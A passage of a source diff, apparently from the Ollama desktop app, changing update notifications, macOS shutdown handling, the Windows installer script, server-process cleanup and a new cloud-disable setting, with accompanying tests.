-	updater.StartBackgroundUpdaterChecker(ctx, UpdateAvailable)
+	upd.StartBackgroundUpdaterChecker(ctx, UpdateAvailable)
+
+	// Check for pending updates on startup (show tray notification if update is ready)
+	if updater.IsUpdatePending() {
+		// On Windows, the tray is initialized in osRun(). Calling UpdateAvailable
+		// before that would dereference a nil tray callback.
+		// TODO: refactor so the update check runs after platform init on all platforms.
+		if runtime.GOOS == "windows" {
+			slog.Debug("update pending on startup, deferring tray notification until tray initialization")
+		} else {
+			slog.Debug("update pending on startup, showing tray notification")
+			UpdateAvailable("")
+		}
+	}
 
 	hasCompletedFirstRun, err := st.HasCompletedFirstRun()
 	if err != nil {
@@ -348,6 +364,17 @@ func startHiddenTasks() {
 			// CLI triggered app startup use-case
 			slog.Info("deferring pending update for fast startup")
 		} else {
+			// Check if auto-update is enabled before automatically upgrading
+			settings, err := appStore.Settings()
+			if err != nil {
+				slog.Warn("failed to load settings for upgrade check", "error", err)
+			} else if !settings.AutoUpdateEnabled {
+				slog.Info("auto-update disabled, skipping automatic upgrade at startup")
+				// Still show tray notification so user knows update is ready
+				UpdateAvailable("")
+				return
+			}
+
 			if err := updater.DoUpgradeAtStartup(); err != nil {
 				slog.Info("unable to perform upgrade at startup", "error", err)
 				// Make sure the restart to upgrade menu shows so we can attempt an interactive upgrade to get authorization

app/cmd/app/app_darwin.m

@@ -14,6 +14,7 @@ extern NSString *SystemWidePath;
 @interface AppDelegate () <NSWindowDelegate, WKNavigationDelegate, WKUIDelegate>
 @property(strong, nonatomic) NSStatusItem *statusItem;
 @property(assign, nonatomic) BOOL updateAvailable;
+@property(assign, nonatomic) BOOL systemShutdownInProgress;
 @end
 
 @implementation AppDelegate
@@ -40,6 +41,13 @@ bool firstTimeRun,startHidden; // Set in run before initialization
 }
 
 - (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
+    // Register for system shutdown/restart notification so we can allow termination
+    [[[NSWorkspace sharedWorkspace] notificationCenter]
+        addObserver:self
+           selector:@selector(systemWillPowerOff:)
+               name:NSWorkspaceWillPowerOffNotification
+             object:nil];
+
     // if we're in development mode, set the app icon
     NSString *bundlePath = [[NSBundle mainBundle] bundlePath];
     if (![bundlePath hasSuffix:@".app"]) {
@@ -278,7 +286,18 @@ bool firstTimeRun,startHidden; // Set in run before initialization
     [NSApp activateIgnoringOtherApps:YES];
 }
 
+- (void)systemWillPowerOff:(NSNotification *)notification {
+    // Set flag so applicationShouldTerminate: knows to allow termination.
+    // The system will call applicationShouldTerminate: after posting this notification.
+    self.systemShutdownInProgress = YES;
+}
+
 - (NSApplicationTerminateReply)applicationShouldTerminate:(NSApplication *)sender {
+    // Allow termination if the system is shutting down or restarting
+    if (self.systemShutdownInProgress) {
+        return NSTerminateNow;
+    }
+    // Otherwise just hide the app (for Cmd+Q, close button, etc.)
     [NSApp hide:nil];
     [NSApp setActivationPolicy:NSApplicationActivationPolicyAccessory];
     return NSTerminateCancel;

app/cmd/app/app_windows.go

@@ -154,6 +154,10 @@ func handleURLSchemeRequest(urlScheme string) {
 }
 
 func UpdateAvailable(ver string) error {
+	if app.t == nil {
+		slog.Debug("tray not yet initialized, skipping update notification")
+		return nil
+	}
 	return app.t.UpdateAvailable(ver)
 }
 
@@ -165,6 +169,14 @@ func osRun(shutdown func(), hasCompletedFirstRun, startHidden bool) {
 		log.Fatalf("Failed to start: %s", err)
 	}
 
+	// Check for pending updates now that the tray is initialized.
+	// The platform-independent check in app.go fires before osRun,
+	// when app.t is still nil, so we must re-check here.
+	if updater.IsUpdatePending() {
+		slog.Debug("update pending on startup, showing tray notification")
+		UpdateAvailable("")
+	}
+
 	signals := make(chan os.Signal, 1)
 	signal.Notify(signals, syscall.SIGINT, syscall.SIGTERM)
 

app/ollama.iss

@@ -14,6 +14,7 @@
 #define MyAppPublisher "Ollama"
 #define MyAppURL "https://ollama.com/"
 #define MyAppExeName "ollama app.exe"
+#define LlamaServerExeName "llama-server.exe"
 #define MyIcon ".\assets\app.ico"
 
 [Setup]
@@ -90,9 +91,8 @@ DialogFontSize=12
 [Files]
 #if FileExists("..\dist\windows-ollama-app-amd64.exe")
 Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64();  Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
-Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
-Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
 #endif
 
 ; For local development, rely on binary compatibility at runtime since we can't cross compile
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
 #endif
 
 #if FileExists("..\dist\windows-arm64\ollama.exe")
-Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
 #endif
+#if DirExists("..\dist\windows-arm64\lib\ollama")
+Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+#endif
 
 Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
 
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
 Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
 
 [Run]
-#if DirExists("..\dist\windows-arm64")
-Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
-#endif
-#if DirExists("..\dist\windows-amd64")
-Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
-#endif
 Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
 
 [UninstallRun]
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
 ; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
+Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
 ; HACK!  need to give the server and app enough time to exit
 ; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
 Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
@@ -184,46 +181,6 @@ begin
   Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
 end;
 
-{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
-const VCRTL_MIN_V1 = 14;
-const VCRTL_MIN_V2 = 40;
-const VCRTL_MIN_V3 = 33807;
-const VCRTL_MIN_V4 = 0;
-
- // check if the minimum required vc redist is installed (by looking the registry)
-function vc_redist_needed (): Boolean;
-var
-  sRegKey: string;
-  v1: Cardinal;
-  v2: Cardinal;
-  v3: Cardinal;
-  v4: Cardinal;
-begin
-  if (IsArm64()) then begin
-    sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
-  end else begin
-    sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
-  end;
-  if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1)  and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
-  begin
-    Log ('VC Redist version: ' + IntToStr (v1) +
-        '.' + IntToStr (v2) + '.' + IntToStr (v3) +
-        '.' + IntToStr (v4));
-    { Version info was found. Return true if later or equal to our
-       minimal required version RTL_MIN_Vx }
-    Result := not (
-        (v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
-         ((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
-          ((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
-           (v4 >= VCRTL_MIN_V4)))))));
-  end
-  else
-    Result := TRUE;
-end;
-
 function GetDirSize(Path: String): Int64;
 var
   FindRec: TFindRec;
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
 var
   ResultCode: Integer;
 begin
-    Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    if FileName <> '{#LlamaServerExeName}' then begin
+      Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    end;
 end;

app/server/server.go

@@ -41,6 +41,11 @@ type InferenceCompute struct {
 	VRAM    string
 }
 
+type InferenceInfo struct {
+	Computes             []InferenceCompute
+	DefaultContextLength int
+}
+
 func New(s *store.Store, devMode bool) *Server {
 	p := resolvePath("ollama")
 	return &Server{store: s, bin: p, dev: devMode}
@@ -78,6 +83,29 @@ func resolvePath(name string) string {
 	return name
 }
 
+func ollamaServeArgs(args []string) bool {
+	if len(args) < 2 {
+		return false
+	}
+
+	switch strings.Trim(filepath.Base(args[0]), `"`) {
+	case "ollama", "ollama.exe":
+	default:
+		return false
+	}
+
+	for _, rawArg := range args[1:] {
+		arg := strings.Trim(rawArg, `"`)
+		if strings.HasPrefix(arg, "-") {
+			continue
+		}
+
+		return arg == "serve" || arg == "start"
+	}
+
+	return false
+}
+
 // cleanup checks the pid file for a running ollama process
 // and shuts it down gracefully if it is running
 func cleanup() error {
@@ -205,6 +233,11 @@ func (s *Server) cmd(ctx context.Context) (*exec.Cmd, error) {
 		return nil, err
 	}
 
+	cloudDisabled, err := s.store.CloudDisabled()
+	if err != nil {
+		return nil, err
+	}
+
 	cmd := commandContext(ctx, s.bin, "serve")
 	cmd.Stdout, cmd.Stderr = s.log, s.log
 
@@ -230,6 +263,11 @@ func (s *Server) cmd(ctx context.Context) (*exec.Cmd, error) {
 	if settings.ContextLength > 0 {
 		env["OLLAMA_CONTEXT_LENGTH"] = strconv.Itoa(settings.ContextLength)
 	}
+	if cloudDisabled {
+		env["OLLAMA_NO_CLOUD"] = "1"
+	} else {
+		env["OLLAMA_NO_CLOUD"] = "0"
+	}
 	cmd.Env = []string{}
 	for k, v := range env {
 		cmd.Env = append(cmd.Env, k+"="+v)
@@ -262,9 +300,12 @@ func openRotatingLog() (io.WriteCloser, error) {
 
 // Attempt to retrieve inference compute information from the server
 // log.  Set ctx to timeout to control how long to wait for the logs to appear
-func GetInferenceComputer(ctx context.Context) ([]InferenceCompute, error) {
-	inference := []InferenceCompute{}
-	marker := regexp.MustCompile(`inference compute.*library=`)
+func GetInferenceInfo(ctx context.Context) (*InferenceInfo, error) {
+	info := &InferenceInfo{}
+	computeMarker := regexp.MustCompile(`inference compute.*library=`)
+	defaultCtxMarker := regexp.MustCompile(`vram-based default context`)
+	defaultCtxRegex := regexp.MustCompile(`default_num_ctx=(\d+)`)
+
 	q := `inference compute.*%s=["]([^"]*)["]`
 	nq := `inference compute.*%s=(\S+)\s`
 	type regex struct {
@@ -330,8 +371,8 @@ func GetInferenceComputer(ctx context.Context) ([]InferenceCompute, error) {
 		scanner := bufio.NewScanner(file)
 		for scanner.Scan() {
 			line := scanner.Text()
-			match := marker.FindStringSubmatch(line)
-			if len(match) > 0 {
+			// Check for inference compute lines
+			if computeMarker.MatchString(line) {
 				ic := InferenceCompute{
 					Library: get("library", line),
 					Variant: get("variant", line),
@@ -342,12 +383,25 @@ func GetInferenceComputer(ctx context.Context) ([]InferenceCompute, error) {
 				}
 
 				slog.Info("Matched", "inference compute", ic)
-				inference = append(inference, ic)
-			} else {
-				// Break out on first non matching line after we start matching
-				if len(inference) > 0 {
-					return inference, nil
+				info.Computes = append(info.Computes, ic)
+				continue
+			}
+			// Check for default context length line
+			if defaultCtxMarker.MatchString(line) {
+				match := defaultCtxRegex.FindStringSubmatch(line)
+				if len(match) > 1 {
+					numCtx, err := strconv.Atoi(match[1])
+					if err == nil {
+						info.DefaultContextLength = numCtx
+						slog.Info("Matched default context length", "default_num_ctx", numCtx)
+					}
 				}
+				return info, nil
+			}
+			// If we've found compute info but hit a non-matching line, return what we have
+			// This handles older server versions that don't log the default context line
+			if len(info.Computes) > 0 {
+				return info, nil
 			}
 		}
 		time.Sleep(100 * time.Millisecond)

app/server/server_test.go

@@ -111,7 +111,7 @@ func TestServerCmd(t *testing.T) {
 			for _, want := range tt.want {
 				found := false
 				for _, env := range cmd.Env {
-					if strings.Contains(env, want) {
+					if strings.HasPrefix(env, want) {
 						found = true
 						break
 					}
@@ -123,7 +123,7 @@ func TestServerCmd(t *testing.T) {
 
 			for _, dont := range tt.dont {
 				for _, env := range cmd.Env {
-					if strings.Contains(env, dont) {
+					if strings.HasPrefix(env, dont) {
 						t.Errorf("unexpected environment variable: %s", env)
 					}
 				}
@@ -136,44 +136,176 @@ func TestServerCmd(t *testing.T) {
 	}
 }
 
-func TestGetInferenceComputer(t *testing.T) {
+func TestServerCmdCloudSettingEnv(t *testing.T) {
+	tests := []struct {
+		name          string
+		envValue      string
+		configContent string
+		want          string
+	}{
+		{
+			name: "default cloud enabled",
+			want: "OLLAMA_NO_CLOUD=0",
+		},
+		{
+			name:     "env disables cloud",
+			envValue: "1",
+			want:     "OLLAMA_NO_CLOUD=1",
+		},
+		{
+			name:          "config disables cloud",
+			configContent: `{"disable_ollama_cloud": true}`,
+			want:          "OLLAMA_NO_CLOUD=1",
+		},
+		{
+			name:     "invalid env disables cloud",
+			envValue: "invalid",
+			want:     "OLLAMA_NO_CLOUD=1",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			tmpHome := t.TempDir()
+			t.Setenv("HOME", tmpHome)
+			t.Setenv("USERPROFILE", tmpHome)
+			t.Setenv("OLLAMA_NO_CLOUD", tt.envValue)
+
+			if tt.configContent != "" {
+				configDir := filepath.Join(tmpHome, ".ollama")
+				if err := os.MkdirAll(configDir, 0o755); err != nil {
+					t.Fatalf("mkdir config dir: %v", err)
+				}
+				configPath := filepath.Join(configDir, "server.json")
+				if err := os.WriteFile(configPath, []byte(tt.configContent), 0o644); err != nil {
+					t.Fatalf("write config: %v", err)
+				}
+			}
+
+			st := &store.Store{DBPath: filepath.Join(t.TempDir(), "db.sqlite")}
+			defer st.Close()
+
+			s := &Server{store: st}
+			cmd, err := s.cmd(t.Context())
+			if err != nil {
+				t.Fatalf("s.cmd() error = %v", err)
+			}
+
+			found := false
+			for _, env := range cmd.Env {
+				if env == tt.want {
+					found = true
+					break
+				}
+			}
+			if !found {
+				t.Fatalf("expected environment variable %q in command env", tt.want)
+			}
+		})
+	}
+}
+
+func TestOllamaServeArgs(t *testing.T) {
 	tests := []struct {
 		name string
-		log  string
-		exp  []InferenceCompute
+		args []string
+		want bool
+	}{
+		{
+			name: "system ollama serve",
+			args: []string{"ollama", "serve"},
+			want: true,
+		},
+		{
+			name: "relative path ollama serve",
+			args: []string{"./ollama", "serve"},
+			want: true,
+		},
+		{
+			name: "serve after other flags",
+			args: []string{"./ollama", "--verbose", "serve"},
+			want: true,
+		},
+		{
+			name: "start alias",
+			args: []string{"ollama", "start"},
+			want: true,
+		},
+		{
+			name: "launch command",
+			args: []string{"ollama", "launch", "opencode"},
+			want: false,
+		},
+		{
+			name: "run command with model named serve",
+			args: []string{"ollama", "run", "serve"},
+			want: false,
+		},
+		{
+			name: "launch command with serve in passthrough args",
+			args: []string{"ollama", "launch", "codex", "--", "-p", "serve"},
+			want: false,
+		},
+		{
+			name: "different executable",
+			args: []string{"go", "run", "serve"},
+			want: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := ollamaServeArgs(tt.args); got != tt.want {
+				t.Fatalf("ollamaServeArgs(%v) = %v, want %v", tt.args, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestGetInferenceInfo(t *testing.T) {
+	tests := []struct {
+		name             string
+		log              string
+		expComputes      []InferenceCompute
+		expDefaultCtxLen int
 	}{
 		{
 			name: "metal",
 			log: `time=2025-06-30T09:23:07.374-07:00 level=DEBUG source=sched.go:108 msg="starting llm scheduler"
 time=2025-06-30T09:23:07.416-07:00 level=INFO source=types.go:130 msg="inference compute" id=0 library=metal variant="" compute="" driver=0.0 name="" total="96.0 GiB" available="96.0 GiB"
+time=2025-06-30T09:23:07.417-07:00 level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="96.0 GiB" default_num_ctx=262144
 time=2025-06-30T09:25:56.197-07:00 level=DEBUG source=ggml.go:155 msg="key not found" key=general.alignment default=32
 `,
-			exp: []InferenceCompute{{
+			expComputes: []InferenceCompute{{
 				Library: "metal",
 				Driver:  "0.0",
 				VRAM:    "96.0 GiB",
 			}},
+			expDefaultCtxLen: 262144,
 		},
 		{
 			name: "cpu",
 			log: `time=2025-07-01T17:59:51.470Z level=INFO source=gpu.go:377 msg="no compatible GPUs were discovered"
 time=2025-07-01T17:59:51.470Z level=INFO source=types.go:130 msg="inference compute" id=0 library=cpu variant="" compute="" driver=0.0 name="" total="31.3 GiB" available="30.4 GiB"
+time=2025-07-01T17:59:51.471Z level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="31.3 GiB" default_num_ctx=32768
 [GIN] 2025/07/01 - 18:00:09 | 200 |      50.263µs | 100.126.204.152 | HEAD     "/"
 `,
-			exp: []InferenceCompute{{
+			expComputes: []InferenceCompute{{
 				Library: "cpu",
 				Driver:  "0.0",
 				VRAM:    "31.3 GiB",
 			}},
+			expDefaultCtxLen: 32768,
 		},
 		{
 			name: "cuda1",
 			log: `time=2025-07-01T19:33:43.162Z level=DEBUG source=amd_linux.go:419 msg="amdgpu driver not detected /sys/module/amdgpu"
 releasing cuda driver library
 time=2025-07-01T19:33:43.162Z level=INFO source=types.go:130 msg="inference compute" id=GPU-452cac9f-6960-839c-4fb3-0cec83699196 library=cuda variant=v12 compute=6.1 driver=12.7 name="NVIDIA GeForce GT 1030" total="3.9 GiB" available="3.9 GiB"
+time=2025-07-01T19:33:43.163Z level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="3.9 GiB" default_num_ctx=4096
 [GIN] 2025/07/01 - 18:00:09 | 200 |      50.263µs | 100.126.204.152 | HEAD     "/"
 `,
-			exp: []InferenceCompute{{
+			expComputes: []InferenceCompute{{
 				Library: "cuda",
 				Variant: "v12",
 				Compute: "6.1",
@@ -181,6 +313,7 @@ time=2025-07-01T19:33:43.162Z level=INFO source=types.go:130 msg="inference comp
 				Name:    "NVIDIA GeForce GT 1030",
 				VRAM:    "3.9 GiB",
 			}},
+			expDefaultCtxLen: 4096,
 		},
 		{
 			name: "frank",
@@ -188,9 +321,10 @@ time=2025-07-01T19:33:43.162Z level=INFO source=types.go:130 msg="inference comp
 		releasing cuda driver library
 		time=2025-07-01T19:36:13.315Z level=INFO source=types.go:130 msg="inference compute" id=GPU-d6de3398-9932-6902-11ec-fee8e424c8a2 library=cuda variant=v12 compute=7.5 driver=12.8 name="NVIDIA GeForce RTX 2080 Ti" total="10.6 GiB" available="10.4 GiB"
 		time=2025-07-01T19:36:13.315Z level=INFO source=types.go:130 msg="inference compute" id=GPU-9abb57639fa80c50 library=rocm variant="" compute=gfx1030 driver=6.3 name=1002:73bf total="16.0 GiB" available="1.3 GiB"
+		time=2025-07-01T19:36:13.316Z level=INFO source=routes.go:1721 msg="vram-based default context" total_vram="26.6 GiB" default_num_ctx=32768
 		[GIN] 2025/07/01 - 18:00:09 | 200 |      50.263µs | 100.126.204.152 | HEAD     "/"
 		`,
-			exp: []InferenceCompute{
+			expComputes: []InferenceCompute{
 				{
 					Library: "cuda",
 					Variant: "v12",
@@ -207,6 +341,20 @@ time=2025-07-01T19:33:43.162Z level=INFO source=types.go:130 msg="inference comp
 					VRAM:    "16.0 GiB",
 				},
 			},
+			expDefaultCtxLen: 32768,
+		},
+		{
+			name: "missing_default_context",
+			log: `time=2025-06-30T09:23:07.374-07:00 level=DEBUG source=sched.go:108 msg="starting llm scheduler"
+time=2025-06-30T09:23:07.416-07:00 level=INFO source=types.go:130 msg="inference compute" id=0 library=metal variant="" compute="" driver=0.0 name="" total="96.0 GiB" available="96.0 GiB"
+time=2025-06-30T09:25:56.197-07:00 level=DEBUG source=ggml.go:155 msg="key not found" key=general.alignment default=32
+`,
+			expComputes: []InferenceCompute{{
+				Library: "metal",
+				Driver:  "0.0",
+				VRAM:    "96.0 GiB",
+			}},
+			expDefaultCtxLen: 0, // No default context line, should return 0
 		},
 	}
 	for _, tt := range tests {
@@ -219,18 +367,21 @@ time=2025-07-01T19:33:43.162Z level=INFO source=types.go:130 msg="inference comp
 			}
 			ctx, cancel := context.WithTimeout(t.Context(), 10*time.Millisecond)
 			defer cancel()
-			ics, err := GetInferenceComputer(ctx)
+			info, err := GetInferenceInfo(ctx)
 			if err != nil {
-				t.Fatalf(" failed to get inference compute: %v", err)
+				t.Fatalf("failed to get inference info: %v", err)
 			}
-			if !reflect.DeepEqual(ics, tt.exp) {
-				t.Fatalf("got:\n%#v\nwant:\n%#v", ics, tt.exp)
+			if !reflect.DeepEqual(info.Computes, tt.expComputes) {
+				t.Fatalf("computes mismatch\ngot:\n%#v\nwant:\n%#v", info.Computes, tt.expComputes)
+			}
+			if info.DefaultContextLength != tt.expDefaultCtxLen {
+				t.Fatalf("default context length mismatch: got %d, want %d", info.DefaultContextLength, tt.expDefaultCtxLen)
 			}
 		})
 	}
 }
 
-func TestGetInferenceComputerTimeout(t *testing.T) {
+func TestGetInferenceInfoTimeout(t *testing.T) {
 	ctx, cancel := context.WithTimeout(t.Context(), 10*time.Millisecond)
 	defer cancel()
 	tmpDir := t.TempDir()
@@ -239,7 +390,7 @@ func TestGetInferenceComputerTimeout(t *testing.T) {
 	if err != nil {
 		t.Fatalf("failed to write log file %s: %s", serverLogPath, err)
 	}
-	_, err = GetInferenceComputer(ctx)
+	_, err = GetInferenceInfo(ctx)
 	if err == nil {
 		t.Fatal("expected timeout")
 	}

app/server/server_unix.go

@@ -46,7 +46,17 @@ func terminated(pid int) (bool, error) {
 	return false, nil
 }
 
-// reapServers kills all ollama processes except our own
+func ollamaServeProcess(pid int) bool {
+	output, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
+	if err != nil {
+		slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
+		return false
+	}
+
+	return ollamaServeArgs(strings.Fields(strings.TrimSpace(string(output))))
+}
+
+// reapServers kills external ollama serve processes except our own.
 func reapServers() error {
 	// Get our own PID to avoid killing ourselves
 	currentPID := os.Getpid()
@@ -82,6 +92,9 @@ func reapServers() error {
 		if pid == currentPID {
 			continue
 		}
+		if !ollamaServeProcess(pid) {
+			continue
+		}
 
 		proc, err := os.FindProcess(pid)
 		if err != nil {

app/server/server_windows.go

@@ -101,7 +101,29 @@ func terminated(pid int) (bool, error) {
 	return true, nil
 }
 
-// reapServers kills all ollama processes except our own
+func ollamaServeProcess(pid int) bool {
+	cmd := exec.Command("wmic", "process", "where", fmt.Sprintf("ProcessId=%d", pid), "get", "CommandLine", "/value")
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+	output, err := cmd.Output()
+	if err != nil {
+		slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
+		return false
+	}
+
+	for _, line := range strings.Split(string(output), "\n") {
+		line = strings.TrimSpace(line)
+		commandLine, ok := strings.CutPrefix(line, "CommandLine=")
+		if !ok {
+			continue
+		}
+
+		return ollamaServeArgs(strings.Fields(strings.ToLower(commandLine)))
+	}
+
+	return false
+}
+
+// reapServers kills external ollama serve processes except our own.
 func reapServers() error {
 	// Get current process ID to avoid killing ourselves
 	currentPID := os.Getpid()
@@ -138,8 +160,11 @@ func reapServers() error {
 		if pid == currentPID {
 			continue
 		}
+		if !ollamaServeProcess(pid) {
+			continue
+		}
 
-		cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
+		cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
 		if err := cmd.Run(); err != nil {
 			slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
 		}

app/store/cloud_config.go

@@ -0,0 +1,128 @@
+//go:build windows || darwin
+
+package store
+
+import (
+	"encoding/json"
+	"errors"
+	"fmt"
+	"os"
+	"path/filepath"
+
+	"github.com/ollama/ollama/envconfig"
+)
+
+const serverConfigFilename = "server.json"
+
+type serverConfig struct {
+	DisableOllamaCloud bool `json:"disable_ollama_cloud,omitempty"`
+}
+
+// CloudDisabled returns whether cloud features should be disabled.
+// The source of truth is: OLLAMA_NO_CLOUD OR ~/.ollama/server.json:disable_ollama_cloud.
+func (s *Store) CloudDisabled() (bool, error) {
+	disabled, _, err := s.CloudStatus()
+	return disabled, err
+}
+
+// CloudStatus returns whether cloud is disabled and the source of that decision.
+// Source is one of: "none", "env", "config", "both".
+func (s *Store) CloudStatus() (bool, string, error) {
+	if err := s.ensureDB(); err != nil {
+		return false, "", err
+	}
+
+	configDisabled, err := readServerConfigCloudDisabled()
+	if err != nil {
+		return false, "", err
+	}
+
+	envDisabled := envconfig.NoCloudEnv()
+	return envDisabled || configDisabled, cloudStatusSource(envDisabled, configDisabled), nil
+}
+
+// SetCloudEnabled writes the cloud setting to ~/.ollama/server.json.
+func (s *Store) SetCloudEnabled(enabled bool) error {
+	if err := s.ensureDB(); err != nil {
+		return err
+	}
+	return setCloudEnabled(enabled)
+}
+
+func setCloudEnabled(enabled bool) error {
+	configPath, err := serverConfigPath()
+	if err != nil {
+		return err
+	}
+
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		return fmt.Errorf("create server config directory: %w", err)
+	}
+
+	configMap := map[string]any{}
+	if data, err := os.ReadFile(configPath); err == nil {
+		if err := json.Unmarshal(data, &configMap); err != nil {
+			// If the existing file is invalid JSON, overwrite with a fresh object.
+			configMap = map[string]any{}
+		}
+	} else if !errors.Is(err, os.ErrNotExist) {
+		return fmt.Errorf("read server config: %w", err)
+	}
+
+	configMap["disable_ollama_cloud"] = !enabled
+
+	data, err := json.MarshalIndent(configMap, "", "  ")
+	if err != nil {
+		return fmt.Errorf("marshal server config: %w", err)
+	}
+	data = append(data, '\n')
+
+	if err := os.WriteFile(configPath, data, 0o644); err != nil {
+		return fmt.Errorf("write server config: %w", err)
+	}
+
+	return nil
+}
+
+func readServerConfigCloudDisabled() (bool, error) {
+	configPath, err := serverConfigPath()
+	if err != nil {
+		return false, err
+	}
+
+	data, err := os.ReadFile(configPath)
+	if err != nil {
+		if errors.Is(err, os.ErrNotExist) {
+			return false, nil
+		}
+		return false, fmt.Errorf("read server config: %w", err)
+	}
+
+	var cfg serverConfig
+	// Invalid or unexpected JSON should not block startup; treat as default.
+	if json.Unmarshal(data, &cfg) == nil {
+		return cfg.DisableOllamaCloud, nil
+	}
+	return false, nil
+}
+
+func serverConfigPath() (string, error) {
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return "", fmt.Errorf("resolve home directory: %w", err)
+	}
+	return filepath.Join(home, ".ollama", serverConfigFilename), nil
+}
+
+func cloudStatusSource(envDisabled bool, configDisabled bool) string {
+	switch {
+	case envDisabled && configDisabled:
+		return "both"
+	case envDisabled:
+		return "env"
+	case configDisabled:
+		return "config"
+	default:
+		return "none"
+	}
+}

app/store/cloud_config_test.go

@@ -0,0 +1,130 @@
+//go:build windows || darwin
+
+package store
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+)
+
+func TestCloudDisabled(t *testing.T) {
+	tests := []struct {
+		name          string
+		envValue      string
+		configContent string
+		wantDisabled  bool
+		wantSource    string
+	}{
+		{
+			name:         "default enabled",
+			wantDisabled: false,
+			wantSource:   "none",
+		},
+		{
+			name:         "env disables cloud",
+			envValue:     "1",
+			wantDisabled: true,
+			wantSource:   "env",
+		},
+		{
+			name:          "config disables cloud",
+			configContent: `{"disable_ollama_cloud": true}`,
+			wantDisabled:  true,
+			wantSource:    "config",
+		},
+		{
+			name:          "env and config",
+			envValue:      "1",
+			configContent: `{"disable_ollama_cloud": false}`,
+			wantDisabled:  true,
+			wantSource:    "env",
+		},
+		{
+			name:          "invalid config is ignored",
+			configContent: `{bad`,
+			wantDisabled:  false,
+			wantSource:    "none",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			tmpHome := t.TempDir()
